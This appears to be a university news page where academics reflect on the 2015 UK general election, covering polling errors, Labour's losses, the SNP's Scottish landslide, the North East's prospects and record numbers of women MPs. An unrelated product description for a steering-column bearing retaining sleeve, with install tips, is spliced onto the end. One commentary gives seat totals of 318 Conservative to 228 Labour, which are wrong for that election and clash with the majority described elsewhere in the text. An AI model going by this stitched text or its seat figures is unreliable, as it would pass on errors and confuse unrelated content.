Like the pollsters and most of my colleagues in the political science trade, I called the election wrong – I predicted that Labour would be the largest party in a "hung" House of Commons.. No-one seems sure about what went wrong with the polls, although Lionel Shriver has an interesting piece in today's (Tuesday 12th May) Guardians arguing that people are reluctant to admit to voting Tory because they feel intimidated by a domineering argumentative Left Wing. There seemed to be more people than usual declaring that they were undecided during the campaign – maybe they were the "shy Tories"?
As to the reasons for the Labour defeat, the explanation is emerging among senior Party figures that not enough was done to maintain the "Blairite" coalition of the poor, working people and "middle England – the aspirant working and middle class people who hope to better their lives, or their children's lives. This could be right – a glance at many of re discussions of Labour's failure are endorsing that view, as well as David Miliband and Lord Mandelson but do we know for sure? Also Labour performed well in some parts of the country but badly in others, especially the Midlands and the South. Labour did well in most of the North -, for example my MP, Chi Onwurah, almost doubled her majority. However, Labour failed to win two of its Northern target seats – Carlisle and Stockton South, but won convincingly in the third – Redcar and Cleveland. Elsewhere the results were generally bad for Labour except in London – there were seats in Nuneaton, Plymouth and Southampton, together with many others that should have gone Labour but didn't.
The Scottish story is different. Labour has taken its Scottish support for granted for far too long. The election results in the Scottish Parliament's last elections, when the SNP gained a majority was a warning sign, as was the referendum result in that the heaviest Yes votes occurred in Labour's heartlands in Glasgow and Dundee. These signs should have been more noticed by the party hierarchy as signs that things were changing. There was also the former Scottish Labour Leader (whose name I cannot remember for the life of me) who resigned complaining that she was the head only of a branch of the London Labour HQ. The Scottish Labour Party must be given more scope to respond to local issues and it needs a new, younger, more attractive leader than Jim Murphy.
Dr Lee Barron, Principal Lecturer in the Deparment of Media and Communication Design:
The results to the 2015 General Election have been read in terms of a 'shock' result with the Conservatives winning 318 seats to Labour's 228 seats and establishing a Conservative majority government, with the previous coalition firmly rejected and the Liberal Democrats losing a substantial degree of their political visibility and influence with just 8 seats won.
The five years that the Liberal Democrats have spent as part of the coalition have arguably led to something of an 'identity crisis' with voters regarding their precise ideological qualities and they seem to have paid the electoral price. In a wider context, while my prediction has certainly not come to pass post-Election day, this was a difficult election to predict. The feelings in the media pointed to a low-key Conservative campaign that only really came to life in the late stages contrasted with Ed Miliband's increasing confidence.
However, my observation that the SNP would play be a crucial role has been realized, albeit to the detriment to Labour given their historical landslide victory in Scotland in winning 56 seats and transforming the Scottish political landscape rendering all other parties now largely irrelevant. This is of course a serious blow to Labour as they have traditionally looked to Scotland for strong support. Compounding this factor, the Conservative's message on economic recovery has been a potent one throughout the campaign and media representations of Ed Miliband as unlikely Prime Minster material and lacking in presence have also proved to be effective (with his appearance on The Trews with Russell Brand seen as an ill-advised tactic). In the longer term, the SNP's dominance in Scotland will have long-reaching effects on Labour's future electoral strength and the issue of leadership will be a paramount factor in their oppositional strategies and political identity.
Last week I was asked to offer my predictions for the outcome of the general election. Whilst I successfully predicted that the Conservative Party would win the most seats I failed, along with perhaps everybody else in the country, to foresee that they would win a majority. As a result of this the implications for the country are perhaps even more profound as the government is now able to pursue its neoliberalist agenda unhindered by the Liberal moderating force present in the previous coalition.
Jonathan Blackie, Visiting Professor and Culture Partnership
Manager for the Association of North East Councils:
Tuesday 12th May. Well that's it, until May 2020, but including a referendum on the European Union by 2017, at the latest. Perhaps also a Constitutional Convention on Scotland and the devolved administrations, including a 'Devo' offer to the English cities and Combined Authorities?
We have the prospect of trains full of Scottish MPs speeding their way through the North East, on their way to London. Will it improve our transport links, or lead to further delays in investment? We can imagine a region squeezed between the South and the border with Scotland, facing further reductions in public expenditure.
On the other hand how might we build bridges across the border, in the many areas where we share a common interest and heritage, and to the new Government in London?
Scotland, Manchester and many other areas admire our cultural infrastructure. They aspire to have such an excellent concert hall in Sage Gateshead. We have a formidable array of talent in our culture sector. We have similar parallels in our business community. The arrival of Hitachi, to produce the high speed trains of the future, in County Durham, is a much anticipated event, on a par with the arrival of Nissan several decades ago.
Our prospects probably lie in our ability to make the most of this moment, to build a relationship with the new Government, and recognise the bridges that cross the border to the North.
Professor Karen Ross, Professor of Media:
Professional pollsters' predictions are always wreathed all around with umpteen caveats, mostly about the conspicuous imprecision of their forecasts, so much so it's a wonder that they bother to say anything at all but there we are, psephology as both art and craft but scientific accuracy not so much. Of course, these folks are somewhat at the mercy of what people choose to tell them when asked about their voting intentions and we know from our own experiences of being polled for different products and services – and political parties are marketed as brands in the same way as everything else – that veracity is not always at the forefront of our answers.
So it should not have come as too much of a surprise that come election night, the Exit Poll of people who had actually voted was showing something rather different to what the other 11 polls carried out on Election Eve were suggesting. At least two inferences can be drawn from this: one is that people lie to random pollsters but are more likely to tell the truth to people hanging around outside polling stations perhaps because of some assumed authority; the other is that more people were genuinely undecided than had been predicted. What was rather amusing to watch was the refusal to accept what the Exit Poll was saying amongst the BBC commentators and guests who were stuffed into BBC Election HQ for what turned out to be a very long night, Paddy Ashdown going so far as to say he'd 'eat his own hat' on camera if the predictions came aright.
He qualified this rash intent by saying it had to be made of marzipan but even so, his comment exemplified the shared disbelief that so many of the previous polls could have got things so wrong. Ironically, if anything, the Exit Poll underplayed the extent of the Tory victory although the actual share of the votes won by each party demonstrated yet again the heavy price paid for a system in which the winner takes all and the runner-up, not matter how close, gets nowt, shy or otherwise, as they say in the North East. Whilst there were jubilant winners and sad losers and not a few senior resignations, one group of politicians who did well were the women.
Their success has increased the number of women MPs at Westminster to 29%, the highest in the Parliament's history, due in no small part to the SNP's very creditable record in fielding women candidates: one of those new Scottish MPs is Mhairi Black who, at 20 years old, is the youngest MP since 1667. When Parliament sits for the first time after the election, it will be a very different place to what it was on March 30th. More women politicians will make a difference, come on the girls!
Alex Hope, Senior Lecturer in Business Ethics: As I predicted in my pre-election piece, we now face the prospect of an increased North/South divide with the North of England perhaps more sympathetic to the social-democratic agenda of an SNP dominated Scotland than slash and burn Westminster austerity. The gulf between rich and poor will continue to become more pronounced as the promised tax cuts for top earners and tough benefit cuts begin to bite. Then there is the now inevitable EU referendum which has the potential to see the UK, or England at least, become even more of an Island state at a time when nations need to be working together to tackle large scale 'wicked' issues such as climate change, international poverty and global security. There is then the real potential for communities to feel increasingly divided, and for the UK to perhaps become alienated on the world stage.
Despite this seemingly gloomy outlook, I am an optimist by nature. Rather than staring gloomily into the bottom of my coffee cup this morning, I feel renewed purpose and intend to spend the next five years working hard to demonstrate that the principles of sustainability, equality and social democracy are not incompatible with those of business, the government or the economy. Ultimately what's good for society and for the planet, must be good for business and the economy as the latter cannot exist without the former.
Dr Hans-Christian Andersen, Senior Lecturer at Newcastle Business School:
Who saw that coming? The Conservatives with a majority of ten and the British two-party system restored to its former, well, is it its "glory"? The First Past the Post System has, once more, created a majority government out of a minority share of the vote and a large section of the electorate sees itself without democratic representation. After five years of coalition government, that seems a strikingly unreasonable outcome, as if the two-party system was the default system and as if unfairness is the acceptable foundation for a modern democracy.
But David Cameron does, of course, deserve congratulations. To gain an increased mandate in Parliament is highly unusual for a sitting Prime Minister and this demonstrates that the electorate have been satisfied with the performance of its government (and distrustful of the alternative parties). Perhaps he also deserves commiserations. He has won the regalia of prime ministerial power but he is also wearing the golden shackles of a Prime Minister whose ambition is to hold together a United Kingdom which, in some senses, seems disunited as from this morning; and whose party will make the most of his promise to hold a EU referendum and (here he may want to ring Tony Blair for advice) to abandon his post as Prime Minister before the end of his second term. "When, David?" as Boris Johnson will soon begin to ask him.
This has, of course, been one of the most exciting national elections to follow in many years, a cliff-hanger up until the last moment, costing three party leaders their posts and who knows how many polling firm bosses will find a P45 in their next wage packet. I do not imagine that political life will become less exciting after this week.
Who will win the General Election?
As the UK waits to go to the polls, our academic experts put forward their predictions for the General Election.
5 February 2015 00:00
Northumbria graduate joins government leaders to discuss UK future of business and enterprise
A Northumbria graduate who was supported by the University to start-up her own business will be speaking alongside Vince Cable, Ed Balls and William Hague at a conference focussing on the future of British business.
Election fever heats up
Students from across the region are being invited to put senior North East politicians to the test during a Question Time debating session at Northumbria University, Newcastle.
COMMENT: Cameron forges on with academies revolution despite mounting concerns on oversight
Dr Michael Jopling, examines whether the Department of Education really can effectively take on schools formerly run by local government.
COMMENT: House of Lords wakes up to sexism in the newsroom
Professor Karen Ross from Arts, Design and Social Sciences discusses a recent House of Lords report highlighting the underrepresentation of women in the media industry
COMMENT: The self-defeating hard left of the 1980s is making a comeback. It won't end well
Stefano Bonino, Lecturer in Criminology at Northumbria, discusses the election of Jeremy Corbyn as leader of the Labour Party for The Conversation.
COMMENT: Hoax calls to the PM are the price we pay for democracy
Professor Howard Elcock, examines the pros and cons of open democracy
COMMENT: How the Republican Party became a haven of resentment and rage
The latest Republican presidential primary debate had it all: denunciations of President Obama, angry rants about America's future, and all manner of bile.
The tale of a first-time voter
Second-year Geography student Charlotte Hall outlines her experience at being able to vote in the General Election for the first time and interviewing SNP leader Nicola Sturgeon for Sky News.
Parliamentary candidates asked to find permanent solutions to tackle homelessness
The North East Homelessness Think Tank (NEHTT) is calling on parliamentary candidates to support a series of pledges aimed at tackling homelessness in the run up to the general election.
Further North
With the vote for Scottish independence just around the corner, all eyes in the UK are focused on the North. But just what distinguishes north from south? What is distinctive about the north in our imagination and experience?
Why the UK should look to Greece to mend political 'crisis'
As Culture Secretary Maria Miller has stepped down following criticism for over-claiming on her expenses, a Northumbria University politics expert is pointing to Ancient Greece for a solution to the UK's political system.


This special made sleeve, retains the plastic bearing cage in the tube, and also PREVENTS, the possibility of a failure... Cheap insurance, for a part that is a pain to get to. It also looks like it is an OEM part when installed, with the black oxide finish.
The split sleeve is to be installed on column shaft, retaining the bearing in place. Most of the time, its only the plastic casing of the bearing that breaks off, but bearings are usually still good. But, if lower bearings is damaged, this part will NOT fix your bearing.
This item is a real time saver!!! No need to take out the steering column, if the race is still intact on the column shaft.
Precisely machined to clear protrusion of race on shaft, and only retain the bearing cage.
This means you have caught this just in time, because your inner bearing race, is now falling down the steering shaft, and must be tapped back in place. if the inner race is apparent, gently tap it up, towards the steering wheel, until it sits flush (or almost) with the steering tube !!! VOILA, thats it! Then install the bearing fix.
I strongly suggest you pack lower bearing up with grease prior to install.
Easy Install: Split sleeve apart, and install sleeve flush to the bearing, with the cap screws parallel to the flats on steering column.